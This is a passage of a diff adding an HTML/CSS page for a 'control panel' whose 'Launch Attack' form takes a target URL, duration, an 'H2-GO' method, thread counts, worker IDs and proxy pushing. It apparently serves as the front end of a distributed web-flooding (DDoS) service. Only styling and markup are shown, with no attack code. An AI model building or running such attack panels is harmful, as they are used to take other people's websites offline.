box-shadow: 2px 2px 0 rgba(0,0,0,0.5);
|
|
545
|
+
}
|
|
546
|
+
|
|
547
|
+
/* ─── Progress ───────────────────────────────────────── */
|
|
548
|
+
.progress {
|
|
549
|
+
background: var(--px-bg3);
|
|
550
|
+
height: 8px;
|
|
551
|
+
border-radius: 0;
|
|
552
|
+
border: 2px solid var(--px-green4);
|
|
553
|
+
box-shadow: inset 2px 2px 0 rgba(0,0,0,0.4);
|
|
554
|
+
overflow: hidden;
|
|
555
|
+
}
|
|
556
|
+
.progress-bar {
|
|
557
|
+
border-radius: 0;
|
|
558
|
+
background: repeating-linear-gradient(
|
|
559
|
+
90deg,
|
|
560
|
+
var(--px-green) 0px,
|
|
561
|
+
var(--px-green) 6px,
|
|
562
|
+
var(--px-green3) 6px,
|
|
563
|
+
var(--px-green3) 8px
|
|
564
|
+
);
|
|
565
|
+
animation: progressBlock 0.5s steps(4) infinite;
|
|
566
|
+
background-size: 200% auto;
|
|
567
|
+
}
|
|
568
|
+
@keyframes progressBlock {
|
|
569
|
+
0% { background-position: 0px; }
|
|
570
|
+
100% { background-position: 8px; }
|
|
571
|
+
}
|
|
572
|
+
.progress-bar.bg-success {
|
|
573
|
+
background: repeating-linear-gradient(
|
|
574
|
+
90deg,
|
|
575
|
+
var(--px-cyan) 0px,
|
|
576
|
+
var(--px-cyan) 6px,
|
|
577
|
+
var(--px-cyan2) 6px,
|
|
578
|
+
var(--px-cyan2) 8px
|
|
579
|
+
) !important;
|
|
580
|
+
}
|
|
581
|
+
|
|
582
|
+
/* ─── Method Cards ───────────────────────────────────── */
|
|
583
|
+
.method-card {
|
|
584
|
+
padding: 0.8rem;
|
|
585
|
+
background: var(--px-bg2);
|
|
586
|
+
border: 2px solid var(--px-green4);
|
|
587
|
+
cursor: pointer;
|
|
588
|
+
transition: all 0.05s steps(1);
|
|
589
|
+
margin-bottom: 0.5rem;
|
|
590
|
+
position: relative;
|
|
591
|
+
box-shadow: 3px 3px 0 var(--px-green-d);
|
|
592
|
+
}
|
|
593
|
+
.method-card::before {
|
|
594
|
+
content: '';
|
|
595
|
+
position: absolute; left: 0; top: 0; bottom: 0; width: 3px;
|
|
596
|
+
background: var(--px-red);
|
|
597
|
+
opacity: 0;
|
|
598
|
+
}
|
|
599
|
+
.method-card:hover {
|
|
600
|
+
border-color: var(--px-green3);
|
|
601
|
+
background: rgba(0,255,65,0.03);
|
|
602
|
+
transform: translate(-2px, -2px);
|
|
603
|
+
box-shadow: 5px 5px 0 var(--px-green-d);
|
|
604
|
+
}
|
|
605
|
+
.method-card:hover::before { opacity: 1; }
|
|
606
|
+
.method-card:active { transform: translate(1px, 1px); box-shadow: 1px 1px 0 var(--px-green-d); }
|
|
607
|
+
.method-card .method-name {
|
|
608
|
+
font-family: var(--font-pixel);
|
|
609
|
+
font-size: 0.5rem;
|
|
610
|
+
color: var(--px-cyan);
|
|
611
|
+
text-shadow: 0 0 8px var(--px-cyan);
|
|
612
|
+
letter-spacing: 0.5px;
|
|
613
|
+
}
|
|
614
|
+
.method-card .method-cat {
|
|
615
|
+
font-family: var(--font-pixel);
|
|
616
|
+
font-size: 0.35rem;
|
|
617
|
+
color: var(--px-red);
|
|
618
|
+
text-transform: uppercase;
|
|
619
|
+
letter-spacing: 1px;
|
|
620
|
+
margin-bottom: 0.15rem;
|
|
621
|
+
}
|
|
622
|
+
.method-card .method-desc { font-size: 0.72rem; color: var(--px-text3); margin-top: 0.15rem; line-height: 1.4; font-family: var(--font-mono); }
|
|
623
|
+
|
|
624
|
+
.method-checkbox-list { max-height: 220px; overflow-y: auto; }
|
|
625
|
+
.method-check-item {
|
|
626
|
+
display: flex; align-items: center;
|
|
627
|
+
padding: 0.4rem 0.6rem;
|
|
628
|
+
margin-bottom: 0.2rem;
|
|
629
|
+
border: 2px solid var(--px-green4);
|
|
630
|
+
cursor: pointer;
|
|
631
|
+
transition: all 0.05s steps(1);
|
|
632
|
+
background: var(--px-bg2);
|
|
633
|
+
box-shadow: 2px 2px 0 var(--px-green-d);
|
|
634
|
+
}
|
|
635
|
+
.method-check-item:hover { border-color: var(--px-green3); background: rgba(0,255,65,0.03); transform: translate(-1px,-1px); }
|
|
636
|
+
.method-check-item.checked { border-color: var(--px-red); background: rgba(255,34,68,0.06); box-shadow: 0 0 8px rgba(255,34,68,0.12), 2px 2px 0 #550010; }
|
|
637
|
+
.method-check-item input[type="checkbox"] { margin-right: 0.6rem; width: 14px; height: 14px; accent-color: var(--px-red); cursor: pointer; }
|
|
638
|
+
.method-check-label { flex: 1; cursor: pointer; font-size: 0.79rem; font-family: var(--font-mono); }
|
|
639
|
+
.method-check-label strong { font-family: var(--font-pixel); font-size: 0.42rem; color: var(--px-cyan); }
|
|
640
|
+
.method-check-label span { color: var(--px-text3); font-size: 0.72rem; }
|
|
641
|
+
|
|
642
|
+
/* ─── Active Attacks ─────────────────────────────────── */
|
|
643
|
+
.attack-live {
|
|
644
|
+
padding: 0.8rem 1rem;
|
|
645
|
+
background: var(--px-bg2);
|
|
646
|
+
border: 2px solid rgba(255,34,68,0.3);
|
|
647
|
+
border-left: 4px solid var(--px-red);
|
|
648
|
+
margin-bottom: 0.6rem;
|
|
649
|
+
display: flex; align-items: center; justify-content: space-between;
|
|
650
|
+
box-shadow: 3px 3px 0 rgba(0,0,0,0.6), 0 0 12px rgba(255,34,68,0.07);
|
|
651
|
+
transition: all 0.05s steps(1);
|
|
652
|
+
}
|
|
653
|
+
.attack-live:hover { border-color: var(--px-red); box-shadow: 4px 4px 0 rgba(0,0,0,0.6), 0 0 20px rgba(255,34,68,0.12); transform: translate(-1px,-1px); }
|
|
654
|
+
.attack-live .pulse-dot {
|
|
655
|
+
width: 10px; height: 10px;
|
|
656
|
+
background: var(--px-red);
|
|
657
|
+
border: 2px solid rgba(255,34,68,0.5);
|
|
658
|
+
margin-right: 0.8rem;
|
|
659
|
+
flex-shrink: 0;
|
|
660
|
+
animation: pixelPulse 0.8s steps(2) infinite;
|
|
661
|
+
image-rendering: pixelated;
|
|
662
|
+
}
|
|
663
|
+
@keyframes pixelPulse {
|
|
664
|
+
0%, 100% { background: var(--px-red); box-shadow: 0 0 0 0 rgba(255,34,68,0.5); }
|
|
665
|
+
50% { background: #ff5566; box-shadow: 0 0 0 6px rgba(255,34,68,0); }
|
|
666
|
+
}
|
|
667
|
+
|
|
668
|
+
/* ─── Sections (page transitions) ───────────────────── */
|
|
669
|
+
.section { display: none; animation: sectionIn 0.15s steps(3); }
|
|
670
|
+
.section.active { display: block; }
|
|
671
|
+
@keyframes sectionIn {
|
|
672
|
+
from { opacity: 0; transform: translateY(8px); }
|
|
673
|
+
to { opacity: 1; transform: translateY(0); }
|
|
674
|
+
}
|
|
675
|
+
|
|
676
|
+
/* ─── Login Page ─────────────────────────────────────── */
|
|
677
|
+
#loginPage {
|
|
678
|
+
display: none; align-items: center; justify-content: center;
|
|
679
|
+
min-height: 100vh; padding: 1rem; position: fixed;
|
|
680
|
+
top: 0; left: 0; right: 0; bottom: 0;
|
|
681
|
+
z-index: 10000;
|
|
682
|
+
}
|
|
683
|
+
.login-bg-deco {
|
|
684
|
+
position: fixed; inset: 0;
|
|
685
|
+
display: flex; align-items: center; justify-content: center;
|
|
686
|
+
font-size: 30vw;
|
|
687
|
+
opacity: 0.012; color: var(--px-green);
|
|
688
|
+
pointer-events: none; z-index: 0;
|
|
689
|
+
font-weight: 900; user-select: none;
|
|
690
|
+
text-shadow: 0 0 60px var(--px-green);
|
|
691
|
+
animation: loginBgPulse 6s steps(4) infinite;
|
|
692
|
+
}
|
|
693
|
+
@keyframes loginBgPulse {
|
|
694
|
+
0%, 100% { opacity: 0.01; }
|
|
695
|
+
50% { opacity: 0.022; }
|
|
696
|
+
}
|
|
697
|
+
.login-card {
|
|
698
|
+
width: 100%; max-width: 420px; padding: 2.2rem;
|
|
699
|
+
background: var(--px-bg2);
|
|
700
|
+
border: 0;
|
|
701
|
+
box-shadow:
|
|
702
|
+
inset 2px 2px 0 var(--px-green3),
|
|
703
|
+
inset -2px -2px 0 var(--px-green3),
|
|
704
|
+
8px 8px 0 var(--px-green-d),
|
|
705
|
+
0 0 60px rgba(0,255,65,0.12),
|
|
706
|
+
0 20px 60px rgba(0,0,0,0.95);
|
|
707
|
+
position: relative; z-index: 1;
|
|
708
|
+
animation: loginCardIn 0.3s steps(5);
|
|
709
|
+
}
|
|
710
|
+
@keyframes loginCardIn {
|
|
711
|
+
from { opacity: 0; transform: translateY(20px); }
|
|
712
|
+
to { opacity: 1; transform: translateY(0); }
|
|
713
|
+
}
|
|
714
|
+
/* Pixel scanlines on login */
|
|
715
|
+
.login-card::before {
|
|
716
|
+
content: '';
|
|
717
|
+
position: absolute; inset: 0; pointer-events: none;
|
|
718
|
+
background: repeating-linear-gradient(
|
|
719
|
+
0deg, transparent, transparent 3px,
|
|
720
|
+
rgba(0,255,65,0.015) 3px, rgba(0,255,65,0.015) 4px
|
|
721
|
+
);
|
|
722
|
+
}
|
|
723
|
+
.login-logo { text-align: center; margin-bottom: 1.8rem; position: relative; z-index: 1; }
|
|
724
|
+
.login-logo .logo-circle {
|
|
725
|
+
width: 72px; height: 72px; margin: 0 auto 1rem;
|
|
726
|
+
background: var(--px-bg3);
|
|
727
|
+
border: 4px solid var(--px-green3);
|
|
728
|
+
display: flex; align-items: center; justify-content: center;
|
|
729
|
+
font-size: 2rem;
|
|
730
|
+
box-shadow:
|
|
731
|
+
4px 4px 0 var(--px-green-d),
|
|
732
|
+
0 0 20px rgba(0,255,65,0.25),
|
|
733
|
+
inset 0 0 20px rgba(0,255,65,0.06);
|
|
734
|
+
animation: loginLogoGlow 2s steps(2) infinite;
|
|
735
|
+
image-rendering: pixelated;
|
|
736
|
+
}
|
|
737
|
+
@keyframes loginLogoGlow {
|
|
738
|
+
0%, 100% { box-shadow: 4px 4px 0 var(--px-green-d), 0 0 20px rgba(0,255,65,0.2); }
|
|
739
|
+
50% { box-shadow: 4px 4px 0 var(--px-green-d), 0 0 35px rgba(0,255,65,0.35), 0 0 60px rgba(0,255,65,0.12); }
|
|
740
|
+
}
|
|
741
|
+
.login-logo h1 {
|
|
742
|
+
font-family: var(--font-pixel);
|
|
743
|
+
font-size: 0.75rem;
|
|
744
|
+
color: var(--px-green);
|
|
745
|
+
text-shadow: 0 0 15px var(--px-green), 0 0 30px var(--px-glow-g);
|
|
746
|
+
margin-bottom: 0.3rem;
|
|
747
|
+
letter-spacing: 2px;
|
|
748
|
+
}
|
|
749
|
+
.login-logo .logo-cn {
|
|
750
|
+
font-family: var(--font-vt);
|
|
751
|
+
font-size: 1rem;
|
|
752
|
+
color: var(--px-green4);
|
|
753
|
+
letter-spacing: 4px;
|
|
754
|
+
}
|
|
755
|
+
.login-logo p {
|
|
756
|
+
font-family: var(--font-mono);
|
|
757
|
+
color: var(--px-text3);
|
|
758
|
+
font-size: 0.78rem;
|
|
759
|
+
margin-top: 0.3rem;
|
|
760
|
+
}
|
|
761
|
+
.login-error {
|
|
762
|
+
padding: 0.6rem 0.8rem;
|
|
763
|
+
background: rgba(255,34,68,0.1);
|
|
764
|
+
border: 2px solid rgba(255,34,68,0.35);
|
|
765
|
+
border-left: 4px solid var(--px-red);
|
|
766
|
+
color: var(--px-red);
|
|
767
|
+
font-family: var(--font-pixel);
|
|
768
|
+
font-size: 0.42rem;
|
|
769
|
+
display: none; margin-bottom: 0.9rem;
|
|
770
|
+
box-shadow: 3px 3px 0 rgba(0,0,0,0.5);
|
|
771
|
+
}
|
|
772
|
+
|
|
773
|
+
/* ─── Console Box ────────────────────────────────────── */
|
|
774
|
+
.console-box {
|
|
775
|
+
background: #020502;
|
|
776
|
+
border: 2px solid var(--px-green4);
|
|
777
|
+
box-shadow: inset 3px 3px 0 rgba(0,0,0,0.6), 0 0 15px rgba(0,255,65,0.06);
|
|
778
|
+
padding: 0.9rem;
|
|
779
|
+
font-family: var(--font-mono);
|
|
780
|
+
font-size: 0.74rem;
|
|
781
|
+
color: var(--px-green2);
|
|
782
|
+
max-height: 400px; overflow-y: auto;
|
|
783
|
+
white-space: pre-wrap; line-height: 1.7;
|
|
784
|
+
}
|
|
785
|
+
.console-box::-webkit-scrollbar-thumb { background: var(--px-green4); }
|
|
786
|
+
|
|
787
|
+
/* ─── User Badge ─────────────────────────────────────── */
|
|
788
|
+
.user-badge {
|
|
789
|
+
background: var(--px-bg3);
|
|
790
|
+
border: 2px solid var(--px-green4);
|
|
791
|
+
box-shadow: 3px 3px 0 var(--px-green-d);
|
|
792
|
+
padding: 0.35rem 0.65rem;
|
|
793
|
+
display: flex; align-items: center; gap: 0.45rem;
|
|
794
|
+
font-family: var(--font-pixel); font-size: 0.38rem;
|
|
795
|
+
color: var(--px-green2);
|
|
796
|
+
text-shadow: 0 0 6px var(--px-green);
|
|
797
|
+
}
|
|
798
|
+
.user-badge i { color: var(--px-cyan); font-size: 0.7rem; }
|
|
799
|
+
|
|
800
|
+
/* ─── Empty State ────────────────────────────────────── */
|
|
801
|
+
.empty-state { text-align: center; padding: 2rem 1rem; color: var(--px-text3); }
|
|
802
|
+
.empty-state i { font-size: 2rem; margin-bottom: 0.7rem; opacity: 0.25; display: block; color: var(--px-green3); }
|
|
803
|
+
.empty-state p { margin: 0; font-size: 0.82rem; font-family: var(--font-mono); }
|
|
804
|
+
|
|
805
|
+
/* ─── Section watermark ──────────────────────────────── */
|
|
806
|
+
.section-watermark {
|
|
807
|
+
position: absolute; bottom: 10px; right: 14px;
|
|
808
|
+
font-size: 3rem; opacity: 0.02; color: var(--px-green);
|
|
809
|
+
pointer-events: none; font-weight: 900; user-select: none; z-index: 0;
|
|
810
|
+
font-family: var(--font-pixel);
|
|
811
|
+
}
|
|
812
|
+
|
|
813
|
+
/* ─── Bootstrap overrides ────────────────────────────── */
|
|
814
|
+
.bg-secondary { background: var(--px-bg3) !important; }
|
|
815
|
+
.bg-info { background: rgba(0,229,255,0.1) !important; color: var(--px-cyan) !important; }
|
|
816
|
+
.bg-success { background: rgba(0,255,65,0.15) !important; }
|
|
817
|
+
.bg-danger { background: rgba(255,34,68,0.2) !important; }
|
|
818
|
+
.bg-warning { background: rgba(255,176,0,0.15) !important; }
|
|
819
|
+
.bg-primary { background: rgba(255,34,68,0.2) !important; }
|
|
820
|
+
.text-secondary { color: var(--px-text3) !important; font-family: var(--font-mono) !important; }
|
|
821
|
+
.text-muted { color: var(--px-text3) !important; font-family: var(--font-mono) !important; }
|
|
822
|
+
|
|
823
|
+
/* ─── Pixel flicker animation on load ────────────────── */
|
|
824
|
+
@keyframes pixelFlicker {
|
|
825
|
+
0% { opacity: 0; }
|
|
826
|
+
2% { opacity: 0.8; }
|
|
827
|
+
4% { opacity: 0; }
|
|
828
|
+
6% { opacity: 1; }
|
|
829
|
+
8% { opacity: 0.7; }
|
|
830
|
+
10% { opacity: 1; }
|
|
831
|
+
100% { opacity: 1; }
|
|
832
|
+
}
|
|
833
|
+
/* Animation disabled by default - use opacity directly in JS */
|
|
834
|
+
/* #mainApp.active, #loginPage.active { animation: pixelFlicker 0.4s steps(8) forwards; } */
|
|
835
|
+
|
|
836
|
+
/* ─── Pixel grid background texture ─────────────────── */
|
|
837
|
+
.px-grid-bg {
|
|
838
|
+
background-image:
|
|
839
|
+
linear-gradient(rgba(0,255,65,0.02) 1px, transparent 1px),
|
|
840
|
+
linear-gradient(90deg, rgba(0,255,65,0.02) 1px, transparent 1px);
|
|
841
|
+
background-size: 16px 16px;
|
|
842
|
+
}
|
|
843
|
+
|
|
844
|
+
/* ─── Responsive ─────────────────────────────────────── */
|
|
845
|
+
@media (max-width: 768px) {
|
|
846
|
+
.stat-card .value { font-size: 1.1rem; }
|
|
847
|
+
.stat-card .icon { width: 36px; height: 36px; font-size: 1rem; }
|
|
848
|
+
.nav-link { font-size: 0.38rem; padding: 0.7rem 0.5rem !important; }
|
|
849
|
+
.card:hover { transform: none; }
|
|
850
|
+
}
|
|
851
|
+
|
|
852
|
+
|
|
853
|
+
/* ─── Pixel sparkles (falling) ───────────────────────── */
|
|
854
|
+
.petal {
|
|
855
|
+
position: fixed; top: -30px; pointer-events: none; z-index: 3;
|
|
856
|
+
animation: petalFall linear infinite;
|
|
857
|
+
will-change: transform;
|
|
858
|
+
image-rendering: pixelated;
|
|
859
|
+
}
|
|
860
|
+
@keyframes petalFall {
|
|
861
|
+
0% { transform: translateY(0) rotate(0deg) translateX(0px); opacity: 0.8; }
|
|
862
|
+
25% { transform: translateY(25vh) rotate(90deg) translateX(16px); }
|
|
863
|
+
50% { transform: translateY(50vh) rotate(180deg) translateX(-12px); }
|
|
864
|
+
75% { transform: translateY(75vh) rotate(270deg) translateX(10px); }
|
|
865
|
+
100% { transform: translateY(110vh) rotate(360deg) translateX(-6px); opacity: 0; }
|
|
866
|
+
}
|
|
867
|
+
|
|
868
|
+
</style>
|
|
869
|
+
</head>
|
|
870
|
+
<body>
|
|
871
|
+
<div id="bgGlow"></div>
|
|
872
|
+
<canvas id="particleCanvas"></canvas>
|
|
873
|
+
<div id="petalsContainer"></div>
|
|
874
|
+
|
|
875
|
+
<!-- Dragon watermark (login) -->
|
|
876
|
+
<div class="login-bg-deco" id="loginBgDeco">龙</div>
|
|
877
|
+
|
|
878
|
+
|
|
879
|
+
<!-- ═══════════ LOGIN PAGE ═══════════ -->
|
|
880
|
+
<div id="loginPage" style="display: flex; align-items: center; justify-content: center; min-height: 100vh; padding: 1rem; position: fixed; top: 0; left: 0; right: 0; bottom: 0; z-index: 10000;">
|
|
881
|
+
<div class="login-card">
|
|
882
|
+
<div class="login-logo">
|
|
883
|
+
<div class="logo-circle">⚡</div>
|
|
884
|
+
<h1>MICHELLE WANG</h1>
|
|
885
|
+
<div class="logo-cn">明月龙 · 控制面板</div>
|
|
886
|
+
<p>> ADVANCED CONTROL PANEL v6 <</p>
|
|
887
|
+
</div>
|
|
888
|
+
<div class="login-error" id="loginError"></div>
|
|
889
|
+
<form id="loginForm">
|
|
890
|
+
<div class="mb-3">
|
|
891
|
+
<label class="form-label"><i class="fas fa-user me-1"></i> Username</label>
|
|
892
|
+
<input type="text" class="form-control" id="loginUsername" placeholder="Enter username" required autofocus>
|
|
893
|
+
</div>
|
|
894
|
+
<div class="mb-4">
|
|
895
|
+
<label class="form-label"><i class="fas fa-lock me-1"></i> Password</label>
|
|
896
|
+
<input type="password" class="form-control" id="loginPassword" placeholder="Enter password" required>
|
|
897
|
+
</div>
|
|
898
|
+
<button type="submit" class="btn btn-primary w-100 py-2">
|
|
899
|
+
<i class="fas fa-sign-in-alt"></i> Enter — 进入
|
|
900
|
+
</button>
|
|
901
|
+
</form>
|
|
902
|
+
</div>
|
|
903
|
+
</div>
|
|
904
|
+
|
|
905
|
+
<!-- ═══════════ MAIN APP ═══════════ -->
|
|
906
|
+
<div id="mainApp" style="display: none; position: relative; z-index: 100;" class="px-grid-bg">
|
|
907
|
+
<nav class="navbar navbar-expand-lg">
|
|
908
|
+
<div class="container-fluid">
|
|
909
|
+
<a class="navbar-brand" href="#">
|
|
910
|
+
<span class="logo-icon">⚡</span>
|
|
911
|
+
<div class="brand-text">
|
|
912
|
+
<span class="brand-title">MICHELLE.EXE</span>
|
|
913
|
+
<span class="brand-cn">明月龙 · CTRL PANEL v6</span>
|
|
914
|
+
</div>
|
|
915
|
+
</a>
|
|
916
|
+
|
|
917
|
+
<button class="navbar-toggler border-0" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav">
|
|
918
|
+
<span class="navbar-toggler-icon"></span>
|
|
919
|
+
</button>
|
|
920
|
+
<div class="collapse navbar-collapse" id="navbarNav">
|
|
921
|
+
<ul class="navbar-nav me-auto">
|
|
922
|
+
<li class="nav-item"><a class="nav-link active" href="#" data-section="dashboard"><i class="fas fa-tachometer-alt"></i> Dashboard</a></li>
|
|
923
|
+
<li class="nav-item"><a class="nav-link" href="#" data-section="polling"><i class="fas fa-crosshairs"></i> Attack</a></li>
|
|
924
|
+
<li class="nav-item"><a class="nav-link" href="#" data-section="active"><i class="fas fa-satellite-dish"></i> Active</a></li>
|
|
925
|
+
<li class="nav-item"><a class="nav-link" href="#" data-section="proxy"><i class="fas fa-network-wired"></i> Proxy</a></li>
|
|
926
|
+
<li class="nav-item"><a class="nav-link" href="#" data-section="history"><i class="fas fa-history"></i> History</a></li>
|
|
927
|
+
</ul>
|
|
928
|
+
<div class="d-flex align-items-center gap-2">
|
|
929
|
+
<div class="user-badge">
|
|
930
|
+
<i class="fas fa-user-circle"></i>
|
|
931
|
+
<span id="navUsername">-</span>
|
|
932
|
+
</div>
|
|
933
|
+
<button class="btn btn-sm btn-outline-secondary" id="logoutBtn" title="Logout">
|
|
934
|
+
<i class="fas fa-sign-out-alt"></i>
|
|
935
|
+
</button>
|
|
936
|
+
</div>
|
|
937
|
+
</div>
|
|
938
|
+
</div>
|
|
939
|
+
</nav>
|
|
940
|
+
|
|
941
|
+
<div class="container-fluid p-3" style="position:relative;z-index:1;">
|
|
942
|
+
|
|
943
|
+
<!-- ═══════════ DASHBOARD ═══════════ -->
|
|
944
|
+
<div class="section active" id="section-dashboard">
|
|
945
|
+
<div class="row g-3 mb-3">
|
|
946
|
+
<div class="col-6 col-lg-3">
|
|
947
|
+
<div class="stat-card blue"><div class="card-shine"></div>
|
|
948
|
+
<div class="icon"><i class="fas fa-crosshairs"></i></div>
|
|
949
|
+
<div class="value" id="stat-attacks">0</div>
|
|
950
|
+
<div class="label">Active Attacks</div>
|
|
951
|
+
</div>
|
|
952
|
+
</div>
|
|
953
|
+
<div class="col-6 col-lg-3">
|
|
954
|
+
<div class="stat-card red"><div class="card-shine"></div>
|
|
955
|
+
<div class="icon"><i class="fas fa-fire"></i></div>
|
|
956
|
+
<div class="value" id="stat-threads">0</div>
|
|
957
|
+
<div class="label">Active Threads</div>
|
|
958
|
+
</div>
|
|
959
|
+
</div>
|
|
960
|
+
<div class="col-6 col-lg-3">
|
|
961
|
+
<div class="stat-card green"><div class="card-shine"></div>
|
|
962
|
+
<div class="icon"><i class="fas fa-server"></i></div>
|
|
963
|
+
<div class="value" id="stat-workers">0</div>
|
|
964
|
+
<div class="label">Worker Panels</div>
|
|
965
|
+
</div>
|
|
966
|
+
</div>
|
|
967
|
+
<div class="col-6 col-lg-3">
|
|
968
|
+
<div class="stat-card purple"><div class="card-shine"></div>
|
|
969
|
+
<div class="icon"><i class="fas fa-scroll"></i></div>
|
|
970
|
+
<div class="value" id="stat-history">0</div>
|
|
971
|
+
<div class="label">Total Attacks</div>
|
|
972
|
+
</div>
|
|
973
|
+
</div>
|
|
974
|
+
</div>
|
|
975
|
+
<div class="row g-3">
|
|
976
|
+
<div class="col-md-6">
|
|
977
|
+
<div class="card h-100">
|
|
978
|
+
<div class="card-header"><i class="fas fa-dragon"></i> System Info</div>
|
|
979
|
+
<div class="card-body">
|
|
980
|
+
<table class="table table-sm table-borderless mb-0"><tbody id="systemInfoTable"></tbody></table>
|
|
981
|
+
</div>
|
|
982
|
+
</div>
|
|
983
|
+
</div>
|
|
984
|
+
<div class="col-md-6">
|
|
985
|
+
<div class="card h-100">
|
|
986
|
+
<div class="card-header"><i class="fas fa-chart-bar"></i> Resources</div>
|
|
987
|
+
<div class="card-body">
|
|
988
|
+
<div class="mb-3">
|
|
989
|
+
<div class="d-flex justify-content-between mb-1">
|
|
990
|
+
<span class="text-secondary" style="font-size:0.8rem">CPU Usage</span>
|
|
991
|
+
<span id="cpuPercent" style="font-size:0.8rem;font-weight:600">0%</span>
|
|
992
|
+
</div>
|
|
993
|
+
<div class="progress"><div class="progress-bar" id="cpuBar" style="width:0%"></div></div>
|
|
994
|
+
</div>
|
|
995
|
+
<div class="mb-3">
|
|
996
|
+
<div class="d-flex justify-content-between mb-1">
|
|
997
|
+
<span class="text-secondary" style="font-size:0.8rem">Memory</span>
|
|
998
|
+
<span id="memPercent" style="font-size:0.8rem;font-weight:600">0%</span>
|
|
999
|
+
</div>
|
|
1000
|
+
<div class="progress"><div class="progress-bar bg-success" id="memBar" style="width:0%"></div></div>
|
|
1001
|
+
</div>
|
|
1002
|
+
<div>
|
|
1003
|
+
<div class="d-flex justify-content-between mb-1">
|
|
1004
|
+
<span class="text-secondary" style="font-size:0.8rem">Load Average (1/5/15)</span>
|
|
1005
|
+
</div>
|
|
1006
|
+
<div id="loadAvg" class="text-secondary" style="font-size:0.8rem;font-family:'JetBrains Mono',monospace">-</div>
|
|
1007
|
+
</div>
|
|
1008
|
+
</div>
|
|
1009
|
+
</div>
|
|
1010
|
+
</div>
|
|
1011
|
+
</div>
|
|
1012
|
+
</div>
|
|
1013
|
+
|
|
1014
|
+
<!-- ═══════════ ACTIVE ATTACKS ═══════════ -->
|
|
1015
|
+
<div class="section" id="section-active">
|
|
1016
|
+
<div class="card">
|
|
1017
|
+
<div class="card-header d-flex justify-content-between align-items-center">
|
|
1018
|
+
<span><i class="fas fa-satellite-dish"></i> Active Attacks</span>
|
|
1019
|
+
<button class="btn btn-sm btn-success" id="stopAllBtn2"><i class="fas fa-stop-circle"></i> Stop All</button>
|
|
1020
|
+
</div>
|
|
1021
|
+
<div class="card-body">
|
|
1022
|
+
<div id="activeAttacksList">
|
|
1023
|
+
<div class="empty-state">
|
|
1024
|
+
<i class="fas fa-yin-yang"></i>
|
|
1025
|
+
<p>No active attacks</p>
|
|
1026
|
+
</div>
|
|
1027
|
+
</div>
|
|
1028
|
+
</div>
|
|
1029
|
+
</div>
|
|
1030
|
+
</div>
|
|
1031
|
+
|
|
1032
|
+
<!-- ═══════════ ATTACK → POLLING WORKERS ═══════════ -->
|
|
1033
|
+
<div class="section active" id="section-polling">
|
|
1034
|
+
<div class="row g-3 mt-1">
|
|
1035
|
+
<div class="col-lg-6">
|
|
1036
|
+
<div class="card">
|
|
1037
|
+
<div class="card-header"><i class="fas fa-rocket"></i> Launch Attack</div>
|
|
1038
|
+
<div class="card-body">
|
|
1039
|
+
<form id="pollingAttackForm">
|
|
1040
|
+
<div class="row g-2">
|
|
1041
|
+
<div class="col-md-6">
|
|
1042
|
+
<label class="form-label">Target (URL)</label>
|
|
1043
|
+
<input type="text" class="form-control" id="pollingTarget" placeholder="https://example.com" required>
|
|
1044
|
+
</div>
|
|
1045
|
+
<div class="col-md-3">
|
|
1046
|
+
<label class="form-label">Duration (s)</label>
|
|
1047
|
+
<input type="number" class="form-control" id="pollingDuration" value="60" min="1">
|
|
1048
|
+
</div>
|
|
1049
|
+
<div class="col-md-3">
|
|
1050
|
+
<label class="form-label">Method</label>
|
|
1051
|
+
<select class="form-select" id="pollingMethod">
|
|
1052
|
+
<option value="h2-go">H2-GO</option>
|
|
1053
|
+
</select>
|
|
1054
|
+
</div>
|
|
1055
|
+
<div class="col-md-3">
|
|
1056
|
+
<label class="form-label">Threads</label>
|
|
1057
|
+
<input type="number" class="form-control" id="pollingThreads" placeholder="auto">
|
|
1058
|
+
</div>
|
|
1059
|
+
<div class="col-md-3">
|
|
1060
|
+
<label class="form-label">Goroutines</label>
|
|
1061
|
+
<input type="number" class="form-control" id="pollingGoroutines" placeholder="auto">
|
|
1062
|
+
</div>
|
|
1063
|
+
<div class="col-md-6">
|
|
1064
|
+
<label class="form-label">Worker IDs (comma-separated, empty = all)</label>
|
|
1065
|
+
<input type="text" class="form-control" id="pollingWorkerIds" placeholder="all workers">
|
|
1066
|
+
</div>
|
|
1067
|
+
<div class="col-md-6 d-flex align-items-end">
|
|
1068
|
+
<button type="button" class="btn btn-sm btn-outline-info" id="pushProxiesBtn">
|
|
1069
|
+
<i class="fas fa-share"></i> Push Proxies to Workers
|
|
1070
|
+
</button>
|
|
1071
|
+
</div>
|
|
1072
|
+
</div>
|
|
1073
|
+
<button type="submit" class="btn btn-danger w-100 mt-3"><i class="fas fa-rocket"></i> Launch Attack</button>
|
|
1074
|
+
</form>
|
|
1075
|
+
</div>
|
|
1076
|
+
</div>
|
|
1077
|
+
</div>
|
|
1078
|
+
<div class="col-lg-6">
|
|
1079
|
+
<div class="card">
|
|
1080
|
+
<div class="card-header"><i class="fas fa-terminal"></i> Polling Console</div>
|
|
1081
|
+
<div class="card-body p-0">
|
|
1082
|
+
<div class="console-box" id="pollingConsole" style="min-height:200px;max-height:350px;overflow-y:auto">⚡ Ready — waiting for workers to connect...</div>
|
|
1083
|
+
</div>
|
|
1084
|
+
</div>
|
|
1085
|
+
</div>
|
|
1086
|
+
</div>
|
|
1087
|
+
|
|
1088
|
+
<!-- Worker Debug Logs -->
|
|
1089
|
+
<div class="card mt-3">
|
|
1090
|
+
<div class="card-header d-flex justify-content-between align-items-center">
|
|
1091
|
+
<span><i class="fas fa-bug"></i> Worker Debug Logs</span>
|
|
1092
|
+
<div>
|
|
1093
|
+
<button class="btn btn-sm btn-outline-info me-1" id="refreshDebugBtn"><i class="fas fa-sync-alt"></i> Refresh</button>
|
|
1094
|
+
<button class="btn btn-sm btn-outline-danger" id="clearDebugBtn"><i class="fas fa-trash"></i> Clear</button>
|
|
1095
|
+
</div>
|
|
1096
|
+
</div>
|
|
1097
|
+
<div class="card-body p-0">
|
|
1098
|
+
<div class="console-box" id="debugConsole" style="min-height:250px;max-height:500px;overflow-y:auto;font-family:'Share Tech Mono',monospace;font-size:0.8rem;padding:1rem">
|
|
1099
|
+
<div class="text-muted text-center py-3">🔍 No debug logs yet — waiting for worker polls...</div>
|
|
1100
|
+
</div>
|
|
1101
|
+
</div>
|
|
1102
|
+
</div>
|
|
1103
|
+
|
|
1104
|
+
<!-- Worker Controls & Remote Sync -->
|
|
1105
|
+
<div class="row g-3 mt-1">
|
|
1106
|
+
<div class="col-12">
|
|
1107
|
+
<div class="card">
|
|
1108
|
+
